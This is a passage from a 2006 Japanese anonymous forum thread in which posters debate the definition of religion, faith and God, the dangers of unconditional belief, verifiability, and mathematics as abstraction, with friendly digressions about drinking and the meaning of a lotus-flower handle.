あなたは、どのスレか忘れましたけど、
いくつかの仮定で説明しましたよね。私は了承しました。
それは、何を説明するために、仮定したのですか？
つまり、ABCDの仮定は、なにを説明しようとしたのですか？
それを教えてください。
そこから始まれば、少しは理解できるかもしれません。
513 名前：無所属な旅人 ：2006/01/14(土) 19:38:51 ID:oLm3QQKC: >>512
A～Eの存在は、おおよそ其処に書いてありますよね。(>>447）

ここでの話に使うのであれば、
神の範囲と宗教の範囲、
およびその交流範囲の流れを示す基盤のに出来ないのかというのが意図です。

縦軸はある事実または概念の受容または理解度の形態を表します。
それぞれの状態でA~Eとなります。
その複合体としてあらわれる事実または概念も同じような形態を示します。

最初にこれを記述したときは各宗教団体を意識したため
世界の発生原理体という表現がAになってます。
514 名前：( ´,_ゝ｀) ：2006/01/14(土) 19:45:45 ID:0zO/FTSX: >>513
その基盤でなにを説明しようとしたのでしょう？
515 名前：無所属な旅人 ：2006/01/14(土) 19:56:38 ID:oLm3QQKC: >>514
説明しようとした内容ですか・・戻りますよ？

1.宗教には信仰（の対象）があること。〇
2.信仰とは神を見出す行為であること。△
3.神を見出すとは、神を体験した(あるいはしたい)という感覚であること。△
4.神は信仰でしか共有できないこと。△
5.信仰を共有する組織が、すなわち宗教団体であること。△

△は条件不足である項目です。
１、に追記しました。
516 名前：名無しさん＠３周年 ：2006/01/14(土) 20:00:41 ID:3Y0bU+kw: >>508
死後の世界を考えているところかな。
517 名前：( ´,_ゝ｀) ：2006/01/14(土) 20:01:18 ID:0zO/FTSX: >>515
条件が不足であるということは、
私の結論を導くためには、条件が不足であるということですね。
ということは、
条件を追加すれば、結論は正しいということですね。
違いますか？
518 名前：無所属な旅人 ：2006/01/14(土) 20:05:41 ID:oLm3QQKC: >>517
現存宗教を顕わすための条件不足でして、
結論とは関連がありません。

また結論としている、
「無条件で他者の信じるものを受け入れること」が出来ないのは、
全くわからないとしている事柄を聞いたときの自身の反応で
ご理解いただけるように難しいことなのです。
519 名前：( ´,_ゝ｀) ：2006/01/14(土) 20:12:49 ID:0zO/FTSX: >>518
やっと、少し、わかりました。
私は現存宗教をわかっておりませんからね(^^♪

私の知らない現存宗教を教えてください。
というよりも、それが、その定義にどんなふうに関係してくるのでしょう？
それをまず、教えてください。
520 名前：無所属な旅人 ：2006/01/14(土) 20:41:42 ID:oLm3QQKC: 定義への影響ですが、

まず、信仰の対象と神が＝でないこと、つまり定義に神だけを用いる
ということしないで表現する方法を模索しないといけません。

また信仰の対象が体験できるものなのか
到達するものなのか、繋がるものなのか、触れて感じるものなのか。
これも、神を見出すとする表現も含めて影響するポイントです。

信仰でしか共有できないとすることに関して、
たとえばチャクラを練るということがその方法論の一つだった場合、
深い瞑想状態に落ちるなどといった事柄で共有することが可能になる
こともあるのではという点。

知らないと思われるのは…示されたっ定義より…
一神教で無い宗教はその概要を殆ど知らないと思いますね。
また、一神教でも何が行われているのか詳細を殆ど知らないでしょう。
報道でつくられた宗教観と聞かされる各宗教の内容（レッテル含む）が
ほどんどではないかと思うのです。
つまりマスコミ作られた外側からのイメージが基調に見えるのですね。
521 名前：名無しさん＠３周年 ：2006/01/14(土) 21:19:09 ID:Qocc46TK: クンダリーニ覚醒を求める人はクンダリーニ症候群に陥るからきおつけてね！
チャクラはマイペースに行をしてれば自然に回転しだすんだ。人為は禁物だよ！
522 名前：名無しさん＠３周年 ：2006/01/14(土) 21:20:23 ID:Qocc46TK: http://www13.plala.or.jp/koudaiji/houwa/m03/houwa32.html
523 名前：( ´,_ゝ｀) ：2006/01/14(土) 21:25:54 ID:0zO/FTSX: すいません。
ちょっと、勧められて、お酒を飲んで、酔っ払いです(^^♪
気にしないで下さい。
524 名前：電球：2006/01/14(土) 21:28:08 ID:RAe1yy2P: >>442
レスが飛んでしまってすみません。。
いや、それより、昼間は熱くなってしまって、一部感情的な言い方になってしまいました。本当にすみません　m(__)m
今少し間を置いたのおかげで大分冷静になれました。　(;^_^A
一応、私の考えたことをまとめて、レスします。でも返事を、とはいいません。
私も無礼でしたし、何よりずっと論争して、お疲れでしょうし、うんざりもしていると思います。
興味がなければ読み飛ばして下さい。ただ無礼だけは詫びておきます。

冷静になった今一度、私の見解を書いてみます。
全ての宗教には自分の教えに優位性を認めようとするところがある。
それに可能な限り、自分の意見を他者に認めさせようとする。
これは私も思います。昼間はあなたに反論しようとするあまり、
私がこの点を認めていないように思える書き方だったかもしれません。　(;^_^A
525 名前：電球：2006/01/14(土) 21:30:36 ID:RAe1yy2P: >>524
信仰を共有するのが宗教。これらの定義では全ての宗教は含まれません。
しかしキリスト教などはこれに当てはまります。従って、貴方の定義で考えてみます。
しかしこの定義と他者を排除しないということは矛盾しないと気付きました。
彼らは社会に協調するために、大幅に妥協(アレンジ)しています。
誰だって、自分を認めてもらいたいと思う。それが私や貴方と同じ、というのは以前互いに確認した項目ですね。
できるなら認めて欲しいが、それをやり始めると生きづらいからやらないわけです。
それにこだわると違う宗教を信じている人とは話が全然噛み合わず、周囲が敵だらけになります。
現にそういう行動をとる団体は周囲とトラブルを起こします。
ファンダメンダリストや一部の隔離型(統一教会など)はまさにそれですね。

ここまであなたも同じ見解でしょうか？
そうなら、あなたは全ての宗教は“本質的には”危険だ、と言っていると考えていいのでしょうか？
それなら私も認めます。現に宗教を信じて自爆する人はいるんだから。

それとも、全ての宗教はやはりそういう思想に立脚し、集団を作っているため、危険とお考えでしょうか？
しかしそれだと現実とは一致しないわけです。
キリスト教徒のほとんどは仏教徒を排除しませんし、逆も同じです。
つまり妥協によって周囲とバランスを保っている。
それは集団を持つこととは関係なく、私たちが日常していることと同じです。

そして宗教には批判されるべきところと、評価されるべきところとがある。
あなたは特に宗教の評価されるポイントについて言及されていませんが、それに関しても考慮する価値はあると思います。

もちろん、宗教に価値が認められない、という方はいますし、いて当然と思います。
しかし、私は宗教という現象が好きです。宗教学という学問が好きです。
だから否定されるのが我慢ならなかった。それでつい熱くなりました。すみません　m(__)m

そうそう、あなたの批判が当てはまらない宗教も近年出てきています。新霊性運動と呼ばれるものです。
宗教の新しい形を示すものとして注目されています。
その多くは自由参加型で、まさに使いたいだけ使う、という感じです。
こういうのも、案外面白いんですよ。(^-^)
526 名前：名無しさん＠３周年 ：2006/01/14(土) 21:34:27 ID:Qocc46TK: どの音楽が深いのかなぁ
ということは音感とか音楽感性がなければ無理無理
527 名前：名無しさん＠３周年 ：2006/01/14(土) 21:35:05 ID:Qocc46TK: 宗教も音楽と同じく言語じゃないんあ～。
528 名前：( ´,_ゝ｀) ：2006/01/14(土) 21:35:28 ID:0zO/FTSX: >>524
あら、電球さん、おかえりなさいヽ(^。^)ノ
感情的になってたのですか？
私は、全然気がつきませんでしたし、
仮にそうであったとしても、全然気にしてませんよ。当然。

そんなことよりも、今の私は、冷静なんてモンじゃないですねヽ(^。^)ノ
ぶっ飛んでますよ(@_@)/
まあ、たぶん、レスしたとしても、わけわかんないだけですね(^^♪
そんなことよりも、まあ、どうぞって感じですから( ^^) _旦
きゅーけぇー( ^^) _旦
529 名前：名無しさん＠３周年 ：2006/01/14(土) 21:41:32 ID:Qocc46TK: 議論してても屹度馬鹿っていわれるだけ
酒呑むのが賢い
530 名前：( ´,_ゝ｀) ：2006/01/14(土) 21:44:43 ID:0zO/FTSX: >>529
だあれなのかしぃらないですけど、
まあまあ、( ^^) _旦~~
そんな、可愛くないこと言わないでね。

電球さん、もうちっと、まってね。
ちゃんと答えますから( ^^) _旦~~
531 名前：電球：2006/01/14(土) 21:50:36 ID:RAe1yy2P: そういってもらえれば、助かります。m(__)m
……ひょっとして酔ってる？w失礼いたしました。(^-^)
実はまだ帰ったわけではないんですよ～。
なんか携帯の電池がなくなりそうなのでw、今日のレスはこれが最後になります。
みなさん、今日は一日、有意義な議論、ありがとうございました～。(^-^)
532 名前：( ´,_ゝ｀) ：2006/01/14(土) 21:52:05 ID:0zO/FTSX: あっ、そうだ。
わたしは、1さんと議論している途中だったんだ？
1さぁーん・・・・
533 名前：名無しさん＠３周年 ：2006/01/14(土) 21:52:50 ID:3Y0bU+kw: やれやれ・・・
534 名前：無所属な旅人 ：2006/01/14(土) 22:00:06 ID:oLm3QQKC: 私は１さんではないので一応…。
535 名前：電球：2006/01/14(土) 22:05:16 ID:RAe1yy2P: >>530　追伸
いや、私のレスなんかほっといて。(^-^)
というか、空気読めてない長文でしたね、私の。(;^_^A
ああ、電池がほんとに切れそう……
536 名前：( ´,_ゝ｀) ：2006/01/14(土) 22:10:26 ID:0zO/FTSX: あっ、そうですね。
ごめんなさい。
かなり、疲れている上に、酒入って、失礼しました<m(__)m>
でも、ごめんなさい。
わたしって、結構、限界が早いんですよ。
まあ、しってるとおもいますけど( ^^) _旦~~
とりあえず、わたしなんかほっといて、
そうですね、ちきゅう温暖化なんかどうでしょう。
ものすごく、寒いですよね。( ^^) _旦~~
なんか、すごい嵐ですね。自分で荒らしてますね( ^^) _旦~~
( ^^) _旦~~
537 名前：( ´,_ゝ｀) ：2006/01/14(土) 22:12:20 ID:0zO/FTSX: あっ、ええと、>>536は
孤独な旅人さんです。
忘れてましたヽ(^。^)ノ
538 名前：( ´,_ゝ｀) ：2006/01/14(土) 22:15:42 ID:0zO/FTSX: あっ、ごめんなさい。
無所属の旅人さんでした(^^♪
ほんとに、わけわかってないですね(^_^;)
とりあえず、許してくださいね。
朝から、ずっとで・・・・
539 名前：名無しさん＠220周年 ：2006/01/14(土) 23:50:37 ID:3MHjn7QE: 宗教は個人的なものだから社会に迷惑が掛かってなければ問題ないよ。
でも色々と迷惑が掛かっているから問題なんだけどねw
540 名前：電球：2006/01/15(日) 03:02:33 ID:1iPAfJco: >>451　すみません、私への意見ですね。見逃していました。返答いたします　＾＾；
＞何事にも例外はある。
→確かに何事にも例外はありますけが…。私は宗教が人の役に立っている例をいくらでも挙げれますよ。
　また、逆に宗教が人の害になっている例もいくらでも挙げれますよ。どっちが例外になるんでしょうか。
　私はどっちも例外でないと思っています。

＞宗教全体に通じる「原理」や「病理」を見出す努力をしなければ無意味。
→同意見です。それが解明できれば、宗教の危険性を知って、後に生かせますからね。
　ただ病理だけに注目して、現実に必要としている人を無視しても、事の本質は見えませんよね。
　ちなみに私は、宗教を無くそう、と言ったって無くせないですから、それより宗教を良くしていこう、と提案しているんです。＾＾

＞自然宗教と創唱宗教、一神教と多神教とでは、本質的な相違がある
→そうですね。私も宗教はとてつもなく範囲の広いものだと捉えています。>>168などご参照下さい。
　むしろ私は相違があることを強調しています。それらをひとつの理論で否定するのは不可能だと。
　それをするなら自分で新たに宗教の定義を作らなければなりません。
541 名前：電球：2006/01/15(日) 03:03:10 ID:1iPAfJco: >>540
＞「宗教は昔は不可欠であった」などというが、とんでもない。
→それは明かりの例えのところですよね。レスはどこだっけ・・・。確かにおかしいですね、今思えば。＾＾；
　ご指摘、正しいです。不可欠と言うより、社会のあらゆるところに宗教が関わっていたんですね。
　だから宗教裁判のようなふざけたことが行われていたわけですね。

＞圧倒的大多数の生活者は、宗教などに現を抜かす余裕はなく、生きることに精一杯だったはず。
　人間がすべて熱心な宗教者であったら、人類はとっくに滅亡していたであろう。
→全人類が熱心な宗教者なら人類は滅びていたはず、とする根拠が……わからないです。生きることに精一杯でなくなるから？
　でもそれだと循環論法になってしまいますし・・・。
　でも熱心な宗教者がいたり、あんまり熱心じゃなかった人がいたのは確かにおっしゃるとおりだと思いますよ。

＞宗教がすべてであるような、本質を外れた議論は止めて、もっと生物としての人間との関連で、宗教を論じるべき。
　宗教も、人間の多数の営みのうちの一つでしかないのだから。
→私、宗教が全てなんて言ってないんですけど…。
　私も同意見です。宗教が全てと考えるのは危険とすら思いますね。宗教は絶対でなく、常に相対的なものでしかないことを
　理解して、生物としての人間との関連で、宗教を論じるべきです。宗教が人間に従属するべきものと私は思っています。
　宗教も、人間の多数の営みのうちの一つでしかないのですから。
542 名前：( ´,_ゝ｀) ：2006/01/15(日) 03:22:12 ID:kOVh9d9K: >>525
先ほどは、どうも失礼しました(#^.^#)

レスを読み返して、私が曖昧な表現をしてたいので、
前に進めないことがわかりました。
それについては、後ほど、ということにして、
電球さんのレスについて、コメントしますね。
>信仰を共有するのが宗教。これらの定義では全ての宗教は含まれません。
私が現実の宗教をそれほど知らないために、前に進めないと思いますけど、
私は、信仰というのは、「他者を無条件で受け入れる」と言い直してますので、
逆に、かなりのものが入ってしまいます。学問もこの中に入るかもしれません。
私の今の考えも、当然入ります(^^♪私は違うと思ってますけど。
その後は、ほとんど、OKです。
まあ、宗教の見解については、先ほどの理由で、違いますけどね。
宗教学については、あまり知らないので、コメントできません。
543 名前：( ´,_ゝ｀) ：2006/01/15(日) 03:24:07 ID:kOVh9d9K: >>542　訂正
曖昧な表現をしてたいので⇒曖昧な表現をしていたので、
544 名前：( ´,_ゝ｀) ：2006/01/15(日) 03:29:05 ID:kOVh9d9K: 無所属の旅人さんが、私の意見のなににこだわっているか、
読み返すとよくわかりました。

つまり、現実妥当性あるいは妥当正当性についてですよね。
私がそれを無視するのが間違いだと。
なぜなら、現実を無視して宗教はありえないからだと言うのですよね。

当然、私はそれに対する答えも説明はしてるのですが、
とりあえず、それを言ってるということでよろしいですかね。
545 名前：( ´,_ゝ｀) ：2006/01/15(日) 03:36:33 ID:kOVh9d9K: 電球さん、おはようございます。
あるいは、こんばんわ(^^♪かな？

私は、信仰を先ほども言いましたように、狭い意味で捉えておりません。
極端な言い方をすれば、「他者を受け入れる思想」すべてがそうなります。
ただし、そこまで極大化すると、多分わけわかんなくなりますので、
「他人の信じているもの」と置き換えたのです。
だから、犬の本質を信じて共有するのも宗教です。
当然、私のこの考えを強要するのも宗教です。
私の言わんとする宗教とはそういう意味です。
少しは、ご理解いただけたでしょうか？
546 名前：( ´,_ゝ｀) ：2006/01/15(日) 03:54:57 ID:kOVh9d9K: さて、そこで、あなた方が私に対して批判する点が明らかになります。
つまり、
「それでは、ほとんどのものが当てはまり、あなたの考えている宗教は、現実的ではない」と。
その通りです。私はその点については、なんの反論もありません。
「無条件で受け入れるすべての思想」は宗教です。
そして、それは、極めて危険です。
たとえば、百人のグループがあり、そのなかでたった一人でも納得できない思想があり、
それをその人間に強要して、そのグループ全体で共有した途端に、
それは、宗教になります。そして、危険です。
あるいは、百人のグループがあり、その外部の人間のひとりでも、
その思想が共有できないとしても、それは宗教です。

とりあえず、科学的に証明されていることは、万人に証明されたとみなして、
宗教とはみなさないことにします。
しかし、これは仮です。限りなくあやしい。

当然、問題は、現実妥当性ですよね。
それについて、検証する必要があると思います。当然。
547 名前：蓮華：2006/01/15(日) 04:06:02 ID:iYg4mcL6: >>494
＞キリスト教は、誰よりも多くの人間を、誰よりも残酷な方法で殺してきた。

＞カルト宗教による家庭破壊が、無数に生じている。

＞これらが悪でなくて、何が悪か？

その質問に答える前に一つお伺いしたいです。
キリスト教が諸悪の根源だと思いますか？
548 名前：( ´,_ゝ｀) ：2006/01/15(日) 04:15:33 ID:kOVh9d9K: 蓮華さん、こんにちは(^^♪

ひとつ質問してもよろしいでしょうか？
549 名前：蓮華：2006/01/15(日) 04:22:51 ID:iYg4mcL6: どうも　私がこたえられるかどうかわかりませんがどうぞ。
550 名前：( ´,_ゝ｀) ：2006/01/15(日) 04:26:57 ID:kOVh9d9K: ありがとうございます(^^♪
蓮華さんが、考えるあるいは感じている信仰って、具体的になんでしょうか？
551 名前：蓮華：2006/01/15(日) 04:42:16 ID:iYg4mcL6: う～ん　正直言いまして、私は信仰がとても薄いんですわｗ

信仰、幼子が母を頼る・母に縋るといった行為かもしれません・・・（？）
はっきりと答えを出すには、もう少し考えたいですね。
もう少しとは、明日かもしれませんし、５０年後かもしれません。

ふふっふふっふふふ　すいません。
552 名前：( ´,_ゝ｀) ：2006/01/15(日) 04:55:25 ID:kOVh9d9K: >>551
あっ、身構えて、逃げちゃいましたね(^^♪
別に、糾弾しようという意志ではなかったんですけどね(^_^;)

本当は、今までずっと、観念論の遊びに近かったので、
現実に帰りたかっただけなんですけどね。
なんども言ってますけど、私は信仰をもってないので、
現実的な宗教って、知らないのです。
でも、宗教的なことはわかります。
これは、いくら頭の中でやっても、意味ないんですよ。
それよりも、なんていうんですかね、スポーツで汗流すような身体性ですか。
そっちの方向に行きたかったんですよ。
もちろん、自分の考えの方向ですけどね。
553 名前：蓮華：2006/01/15(日) 05:03:05 ID:iYg4mcL6: >>552
逃げるも何も、素直な意見を投じただけなんですが…。
むしろ、素直ではない意見を投じることこそ、逃げたに値すると思うんですが…。

現実的な宗教というのが何なのかよくわかりませんｗ　すいません。
554 名前：( ´,_ゝ｀) ：2006/01/15(日) 05:08:32 ID:kOVh9d9K: >素直ではない意見を投じることこそ、逃げたに値すると思うんですが…。

私は、猜疑心の塊に近いところがありますので、
そう言われると、私のどの部分が素直でなかったか気になりますね(^_^;)

まあ、でも、それほど重い意味で私に言ってるわけではないと勝手に思いますので、
スルーするとして、

現実的な宗教って、実際に礼拝したり、座禅組んだりって意味です。
また、聖書読んで考えたりって事ですかね。
あまりにも馬鹿らしい質問だとは思いましたけどね(^_^;)
してみたかったのですよ(^^♪
555 名前：蓮華：2006/01/15(日) 05:13:43 ID:iYg4mcL6: >>554
＞私は、猜疑心の塊に近いところがありますので、
＞そう言われると、私のどの部分が素直でなかったか気になりますね(^_^;)

御貴殿ではなく、私が素直な意見を投じないこと＝逃げたことになると思います。
少なくとも（>>551）は、逃げたのではなく、
何かに臆することのない、私の素直な意見として書かしてもらいました。
といったことです。
556 名前：( ´,_ゝ｀) ：2006/01/15(日) 05:19:53 ID:kOVh9d9K: >>551
>信仰、幼子が母を頼る・母に縋るといった行為かもしれません・・・（？）

いきなり、めちゃくちゃ現実的な話をしますけど、
バカなわけわかんない親が多いですよね。
学校にも行かせずに、食事もほとんど与えずに、わが子を餓死させてします親。
私は、親も子も、どちらにも悲しくなります。
それは、同情ではなく、なんていうのでしょうか・・・よくわかりませんが。
たぶん、私の中にもあるんだろうって、思うんですよ。
そんな、悲しさですかね。
いきなり、ものすごい現実的な話ですけど。
557 名前：蓮華：2006/01/15(日) 05:37:43 ID:iYg4mcL6: >>556
突然…

「もし本当にそう思うのであれば、それを心に深く留め置き、
　絶対に自分はそんな親にはならないことを、自分に深く誓うことですね。」

この「」のことも、一つの信仰と言えるのかも知れません。
自分への誓いとその契約。　自分への諌めと自分への信仰。　
はははっははｗ
558 名前：( ´,_ゝ｀) ：2006/01/15(日) 05:44:52 ID:kOVh9d9K: >>557
どうしても、私は「観念の遊び」に向かう傾向があるので、押しとどめますね。

>この「」のことも、一つの信仰と言えるのかも知れません。

などと、言われると、ついつい、その括弧をAに置き換えて・・・・
とやってしまう自分を確認したりしまして(^^♪

でも、親と子の比喩は、私にはわかりやすいです。
そこから敷衍するのではなく、そこに立ち戻る意味で、です。
私も親ナシでは生きていけなかったですから。
否定はできないのですよね。
559 名前：蓮華：2006/01/15(日) 06:06:21 ID:iYg4mcL6: >>558
連投規制が厳しくて…　レス遅れてすいません。

神にしても、宗教にしても、信仰にしても・・・他にだって言えると思います。
算数・数学のように「１＋１＝２」なんて答えはでないと思います。
それぞれがそれぞれの定義を持っていてもいいと思いまし、何ら不思議じゃないと思います。

問題は、そこからいろんな人生において経験をしたり、いろいろ教示してもらったりして、
自分に似合う信仰・また信仰と呼べるような存在を見つけていただけるのがいいと思います。
そこに自分だけ・また兄弟だけが呼べる、母親・父親が存在するように…。

私も親なしでは生きていけなかった。
もしくは、今よりもずっと苦労して大人になったと思います。
こんな私でもいつか親孝行はしなくてはいけないと思ってます。
560 名前：( ´,_ゝ｀) ：2006/01/15(日) 06:20:49 ID:kOVh9d9K: あっ、そうか、連投規制ってありましたよね。
ここ以外にレスしてないんで、ほとんど忘れてました。

>算数・数学のように「１＋１＝２」なんて答えはでないと思います。
>それぞれがそれぞれの定義を持っていてもいいと思いまし、何ら不思議じゃないと思います。

今は、ほとんどなくなりましたけど、
以前は随分、説明できない体験(^_^;)をしましたね。
それこそ、一晩充分怪談ができるほどのこわい話や不思議な話ですかね。
それこそ、トンでも科学に近い眉唾なんて、いくらでもできましたね。まあ、してました(^^♪
不思議に、そんな体験を繰り返すと、日常がほんとにつらくなるんですよね。
まあ、毎日酔っ払い程度の感覚で生きてれば、どうでもいいんですけど、
心理的な病に冒されているんではないかと思うと、不安になるんですよ。
でも、まあ、ほとんどは正気ですし、他人から見たら、普通の人間らしかった。
とりあえず、正気には他人からは見えたし、まあ、私も疑問を持たなかったです。

でも、多少大人になって、そのような体験をしなくなると、逆に不思議になるんですよ。
あの説明できないものってなんだろうって。
逆に、「１＋１＝２」が無性に恋しくなるんですよ。
そんな抽象がどこにあって、なぜ、それで説明できるのか不思議になるし、
逆に、なぜ、説明できないのかも不思議に思うんです(^_^;)
561 名前：でも家が創価 ：2006/01/15(日) 06:23:34 ID:iGWS71E0: つか宗教って何なの？
自分より上位の存在＝理想の自分（お金が欲しいとか女にもてたいとかのレベル）を神様？にして祈ってるの？
よく分からないのでそうゆうものを分析できるかたいますか？
562 名前：( ´,_ゝ｀) ：2006/01/15(日) 06:25:55 ID:kOVh9d9K: ところで、蓮華さんって、なんで、蓮華さんなんですかね。
って、また、わけわかんない質問してますね(^_^;)

えっと、ハスの花ですよね。
つまり、仏教に近い名前(^_^;)に思えるのに、
カトリックですよね。
由来ってなんでしょう(^_^;)

どうもまだ、酒が残ってるようで・・・・・
迎え酒でもしようかなあ・・・
563 名前：( ´,_ゝ｀) ：2006/01/15(日) 06:30:23 ID:kOVh9d9K: >>561
ここには、いっぱいいますよ(^^♪
今は、すっかり、誰もいませんけど(^_^;)

つわものがいっぱい現われて、呆れたり、怒ったりして、論争してますから。
私は、全然、だめなんで、もう少し待てば、ちゃんと答えてくれる人が来ると思いますよ。
564 名前：蓮華：2006/01/15(日) 06:33:04 ID:iYg4mcL6: >>560
それは神秘の世界ですね。

>>561
＞宗教って何なの？

定義は人それぞれで、もしかしたら「宗教って何なの？」これが宗教なのかもしれません。

つまり、常人の人間では解読されないこと、科学では解明されないこと、
一部の人はこれらを神秘と言ったりもします。

その神秘的なことに思想・哲学・伝承などを、
混ぜ合わせたりするような形ではないでしょうか…。
565 名前：蓮華：2006/01/15(日) 06:37:32 ID:iYg4mcL6: >>562
泥の中から生まれ育ち、美しい花を咲かす。
また、無主荷花とも言われ、何に縛られることなく自由自在に咲き誇る花ともされます。

なんか憧れます♪

それと私は、カトリックでもなければ、キリスト教徒でもありませんよ。
566 名前：( ´,_ゝ｀) ：2006/01/15(日) 06:45:58 ID:kOVh9d9K: >>565
あら、失礼しました(^_^;)
また、やってしまいましたね。

泥中の蓮ですね(^^♪
栴檀は双葉より芳しということわざも似た意味ですよね。
無主荷花は知りませんでしたね。
それはなんて読むんですかね。ムシュニカですかね。まあ、当て字なんでしょうが。
主のない花を荷る。荷るとは、荷物の荷ですから、くるむとか内包するとかの意味ですかね。
・・・・深いですね(^^♪
567 名前：( ´,_ゝ｀) ：2006/01/15(日) 07:01:20 ID:kOVh9d9K: さあて、今日は日曜で、なんにもしない日なんで、
とりあえず、なんにもしないことにします(^^♪
あんまり、蓮華さんに甘えると怒られそうなんで、
区切りのいいところで、退散しないとね(^_^;)

蓮華さんは、逆に質問ないんですか？
朝から酔っ払っちゃおうかなって、考えてるんで、
今のうちに、なんか質問してくださいよ(^^♪
それをつまみに、酒飲むかな(^^♪
でも、朝からはちょっと無理だなやっぱり。
568 名前：蓮華：2006/01/15(日) 07:11:04 ID:iYg4mcL6: >>566
無主の荷花（むしゅのかか）らしいです。

無主荷花とは、主たる存在を持たない。　またその主をも包み込む力を所持する。
すなわち、縛られないとか自由自在を表すらしいです。
569 名前：蓮華：2006/01/15(日) 07:18:26 ID:iYg4mcL6: >>567
質問ですか…　また後日ですね。

そろそろ出かける準備をしなくてはいけないので…

それと私も酒好きですよ♪　それでは…
570 名前：( ´,_ゝ｀) ：2006/01/15(日) 07:19:18 ID:kOVh9d9K: >>568
>またその主をも包み込む力を所持する。

やっぱり、泥中の蓮ですね。
今、思い出しました。出藍の誉れも近いんじゃなかったでしたっけ。
藍は藍より出でて、藍より藍し。違いましたっけね。
まあ、ほとんど、どうでもいいレベルではあるんですけどね(^^♪
ムシュのカカ。
茗荷を食べると物忘れするとか、ありましたね。
別に、意味なく思い出したんですけどね。漢字から連想しただけです。
質問なければ、しばらく、退散しますね(^^♪
571 名前：名無しさん＠220周年 ：2006/01/15(日) 08:14:26 ID:pcqvKtqJ: > キリスト教が諸悪の根源だと思いますか？
はい、諸悪の根源のうちの一つです。
聡明な宗教家であれば誰もが知ってることでしょう。
572 名前：名無しさん＠３周年 ：2006/01/15(日) 08:54:33 ID:zigKCFiD: 「宗教」っていうと、どうしても社会政策的な要素のほうが重要になるので、
観念論的主張と唯物論的主張をそれぞれ検証していくという作業のほうが、
有益だし面白いのではないでしょうか。
573 名前：( ´,_ゝ｀) ：2006/01/15(日) 09:55:59 ID:kOVh9d9K: >>572
すいませんね、勝手に落ちてしまって(^^♪

>観念論的主張と唯物論的主張をそれぞれ検証していく

二元論ですね。
有益で面白いというのは、賛成ですね。
どうぞ、テーマとして、投げかけてみてください。
ただし、私はもうちょっと離れてみたい気持ちが多くて、傍観させてください。

それから、皆さん、コテいれましょうよ(^^♪
なんでもいいから。
そのほうが、わかりやすいです。
574 名前：無所属な旅人 ：2006/01/15(日) 10:34:19 ID:bRyR4AW+: >>544
それであってますね。
現実というよりは、現在共有する認識こそ（科学・文化・言語含む）、
妥当正当性の積み重ねによって構築されたものそのものだと
言っているのですよ。
そして、あなたの思想はこの楔から逃れることも出来ないと言うこと。

批判のポイントというかは、「無条件で受け入れる」のではないと言う点に尽きるのですが。

それを説明するために、
現実妥当性をあえて用いて、現象としてあらわれる見えるものからフィードバックしないといけないという点を上げようとしたにすぎないのですよね。

犬を認識するということで、その本質を信じて共有するといいましたね？

その本質を信ずるに値する基礎を誰がどのように構築するのですか？
現実妥当性から其れらしいということで構築分類してきた科学や文化としての認識を学び、其れらしいと納得した後でないと出来ないのです。
また、その本質が間違っていたとするときに如何に転換できるかも、其れが現段階としての仮初の状態だと理解した上での認識であれば出来ると言うことでしょう？

無条件ではなく条件付なのです。
無条件と思われるまでの段階に於いて関係ないとして排除できる要素ではありませんよ。妥当性などは。
575 名前：無所属な旅人 ：2006/01/15(日) 11:13:21 ID:bRyR4AW+: もう一つだけあげておきましょうか。

数学で１＋１＝２となる。これは、常にこうなるとは限りませんね。
集合としての数の属性を決め、演算の性質を決めて初めて成立するのです。

算数の段階でなぜこの様になる数学の一部を教えるのか？
それは現実としてその系を生活で用いているつまり妥当性によるものです。

科学でさえも、その基礎理論が妥当性で構築されているのです。
証明すると言うことは妥当性を認めるという確認作業ですよ。
576 名前：( ´,_ゝ｀) ：2006/01/15(日) 14:07:41 ID:kOVh9d9K: >>574-575
おもしろいですね。
つまり、すべては検証可能であるということですよね。

でも、私の定義をよくみてください。
私は、宗教の属性についての定義であって、宗教そのものの定義ではありません。
また、「無条件で受け入れる」ということは、
単純に、検証不可能であるということだけですよ。
神という概念は、「検証可能」でしょうか？
無所属の旅人さんが、仰ってることは、まさに、宗教の属性を否定しておりませんか？
ラッセルのパラドックスと同じです。同じところを回ってます。

これは、１＋１＝２についても同じことが言えると思います。
１＋１＝２は抽象です。そんなものが道に落ちているわけではありません。
しかし、これがなければ、私達は生活することが出来ません。仕事も不可能です。
すべては、事後承認事項にしか過ぎない。
そんなものはありえないのです。
すべての言葉がありえないし、すべての抽象を否定してしなければならなくなりますよ。
でも、宗教はリアルなものです。私は宗教の属性を定義しました。
そして、それを否定しました。
単純な話なのです。ものすごく(^^♪
577 名前：名無しさん＠３周年 ：2006/01/15(日) 16:11:12 ID:zigKCFiD: 反証可能性ということですよね？
578 名前：名無しさん＠３周年 ：2006/01/15(日) 16:14:30 ID:mDM9p8dh: 特定の宗教が絶対だと（思うことはともかく）実社会で聞きもしないのに公言するような人ってイタい人が多いと思うが、逆に、声高に（これまた聞きもしないのに）宗教を否定してる人も、前者と似たような臭いを感じることが多い。
579 名前：( ´,_ゝ｀) ：2006/01/15(日) 16:19:53 ID:kOVh9d9K: >>577
そうですね。
無所属の旅人さんは、その反証可能性の間で遊んでます(^^♪

でも、私は、昨日お酒飲んでる間に、それを無理矢理振りほどいて、
今日は、違うところで遊ぶことにしたんです。
で、おやさしい蓮華さんが、遊んでくれました(^^♪
なかなか、実りある対話だったと思っております。
580 名前：名無しさん＠３周年 ：2006/01/15(日) 16:27:49 ID:vu2or2Hm: >>576
１＋１＝２が抽象だと言っても、それは究極的には現実に基盤を置い
ている。誰にとっても、リンゴ１個にもう１個加えれば２個となるこ
とから、その等式が生まれた。すべて現実に還元可能である。

ある数学理論を応用した建物が、他の原因無く倒壊したとすれば、その
理論は間違いであることが証明される。

神や宗教は、現実による証明は不可能。理非正邪の判断基準は皆無。
百人百様の「観念」。従って、現実界における紛争の原因となる。

芸術は、現実としての人間の自然の感情に「等しく」訴える点で、
宗教とは異なる。即ち、生物としての人間から離脱してはいない。
芸術観の相違で殺し合うことなどないのは、それが理由である。
581 名前：( ´,_ゝ｀) ：2006/01/15(日) 16:43:42 ID:kOVh9d9K: >>578
ふっふふ

>>580
たぶん、無所属の旅人さんは、あなたのその考えも含めて批判したかったんだと思います。
そういう、網を張って待ってますよ(^^♪
つまり、
>神や宗教は、現実による証明は不可能。理非正邪の判断基準は皆無。
>百人百様の「観念」。従って、現実界における紛争の原因となる。
という、結論を私から、導き出したいんですよ(^^♪
無所属の旅人さんがなぜ、妥当正当性という言いかえをしたのか、
最初わからなかったのですが、すぐにふと思い出したのですよ。
おもしろい人ですね。なかなか(^^♪

でも、私は、蓮華さんに救われて、無事に脱出しちゃいました＼(^o^)／
蓮華さんありがとう！
